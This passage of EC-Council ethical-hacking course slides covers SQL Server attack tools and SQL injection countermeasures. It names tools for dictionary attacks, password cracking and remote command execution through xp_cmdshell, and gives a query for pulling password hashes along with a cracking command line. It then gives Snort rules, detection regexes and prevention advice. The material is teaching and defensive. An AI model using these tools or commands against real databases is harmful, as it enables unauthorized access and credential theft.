  • 30. EC-Council Copyright © by EC-Council All Rights reserved. Reproduction is strictly prohibited Hacking Tool: SQLDict http://ntsecurity.nu/cgi- bin/download/sqldict.exe .pl SQLdict is a dictionary attack tool for SQL Server It tests if the accounts are strong enough to resist an attack
  • 31. EC-Council Copyright © by EC-Council All Rights reserved. Reproduction is strictly prohibited Hacking Tool: SQLExec http://phoenix.liu.edu/~mdevi/util/Intro.htm This tool executes commands on compromised Microsoft SQL Servers by using xp_cmdshell stored procedure It uses a default sa account with a NULL password USAGE: SQLExec www.target.com
  • 32. EC-Council Copyright © by EC-Council All Rights reserved. Reproduction is strictly prohibited SQL Sever Password Auditing Tool : sqlbf http://www.cqure.net/tools.jsp?id=10 Sqlbf is a SQL Sever Password Auditing tool. This tool is used to audit the strength of Microsoft SQL Server passwords offline. The tool can be used either in Brute-Force mode or in Dictionary attack mode. The performance on a 1GHZ pentium (256MB) machine is about 750,000 guesses/sec To be able to perform an audit, the password hashes that are stored in the sysxlogins table in the master database are needed The hashes are easy to retrieve, although a privileged account is needed. The query to use would be: select name, password from master..sysxlogins To perform a dictionary attack on the retrieved hashes: sqlbf -u hashes.txt -d dictionary.dic -r out.rep
  • 33. EC-Council Copyright © by EC-Council All Rights reserved. Reproduction is strictly prohibited Hacking Tool: SQLSmack SQLSmack is a Linux-based Remote Command Execution for MSSQL When provided with a valid user name and password, the tool permits the execution of commands on a remote MS SQL Server, by piping them through the stored procedure master..xp_cmdshell
  • 34. EC-Council Copyright © by EC-Council All Rights reserved. Reproduction is strictly prohibited Hacking Tool: SQL2.exe SQL2 is an UDP Buffer Overflow Remote Exploit hacking tool
  • 35. EC-Council Copyright © by EC-Council All Rights reserved. Reproduction is strictly prohibited SQL Injection Countermeasures Selection of Regular Expressions • Regular expressions for detection of SQL meta characters are: – /(%27)|(')|(--)|(%23)|(#)/ix • In the above example, the regular expression would be added to the snort rule as follows: – alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"SQL Injection - Paranoid"; flow:to_server,established;uricontent:".pl";pcre:"/(%2 7)|(')|(--)|(%23)|(#)/i"; classtype:Web-application- attack; sid:9099; rev:5;) </TD< tr> • Since “#” is not an HTML meta character, it will not be encoded by the browser
  • 36. EC-Council Copyright © by EC-Council All Rights reserved. Reproduction is strictly prohibited SQL Injection Countermeasures (cont’d) • The modified regular expressions for detection of SQL meta characters are: –/((%3D)|(=))[^n]*((%27)|(')|(-- )|(%3B)|(;))/i • The regular expressions for a typical SQL injection attack are: – /w*((%27)|('))((%6F)|o|(%4F))((%72)|r|( %52))/ix w* -zero or more alphanumeric or underscore characters (%27)|' -the ubiquitous single-quote or its hex equivalent (%6F)|o|(%4F))((%72)|r|(%52) -the word “or” with various combinations of its upper and lower case hex equivalents
  • 37. EC-Council Copyright © by EC-Council All Rights reserved. Reproduction is strictly prohibited SQL Injection Countermeasures (cont’d) • The regular expressions for detecting an SQL injection attack using UNION as a keyword: – /((%27)|('))union/ix (%27)|(') - the single quote and its hex equivalent union - the keyword union – The above expression can be used for SELECT, INSERT, UPDATE, DELETE, and DROP keywords • The Regular expressions for detecting SQL injection attacks on a MS SQL server: – /exec(s|+)+(s|x)pw+/ix exec -the keyword required to run the stored or extended procedure (s|+)+ -one or more white spaces, or their HTTP encoded equivalents (s|x)p -the letters “sp” or “xp” to identify stored or extended procedures, respectively w+ -one or more alphanumeric or underscore characters to complete the name of the procedure
  • 38. EC-Council Copyright © by EC-Council All Rights reserved. Reproduction is strictly prohibited Preventing SQL Injection Attacks Minimize the privileges of database connections Disable verbose error messages Protect the system account “sa” Audit source codes • Escape single quotes • Input validation • Reject known bad input • Input bound checking
  • 39. EC-Council Copyright © by EC-Council All Rights reserved. Reproduction is strictly prohibited Preventing SQL Injection Attacks (cont’d) Never trust user input • Validate all textbox entries using validation controls, regular expressions, code, and so on Never use dynamic SQL • Use parameterized SQL or stored procedures Never connect to a database using an admin-level account • Use a limited access account to connect to the database Do not store secrets in plain text • Encrypt or hash passwords and other sensitive data; you should also encrypt connection strings Exceptions should divulge minimal information • Do not reveal too much information in error messages; use custom Errors to display minimal information in the event of an unhandled error; set debug to false
  • 40. EC-Council Copyright © by EC-Council All Rights reserved. Reproduction is strictly prohibited SQL Injection Blocking Tool: SQLBlock SQLBlock is an ODBC/JDBC driver with a patent pending SQL injection prevention feature It works as an ordinary ODBC/JDBC data source, and it monitors every SQL statement being executed If the client application tries to execute any un-allowed SQL statements, SQLBlock will block the execution and will send an alert to the administrator http://www.sqlblock.com
  • 41. EC-Council Copyright © by EC-Council All Rights reserved. Reproduction is strictly prohibited Acunetix Web Vulnerability Scanner Acunetix Web scanner can detect and report any SQL Injection vulnerabilities Other features include: • Cross site scripting / XSS vulnerabilities • Google hacking vulnerabilities • http://www.acunetix.com
  • 42. EC-Council Copyright © by EC-Council All Rights reserved. Reproduction is strictly prohibited Summary SQL injection is an attack methodology that targets the data residing in a database It attempts to modify the parameters of a web-based application in order to alter the SQL statements that are parsed, in order to retrieve data from the database Database footprinting is the process of mapping the tables on the database, and is a crucial tool in the hands of an attacker Exploits occur due to coding errors as well as inadequate validation checks Prevention involves enforcing better coding practices and database administration procedures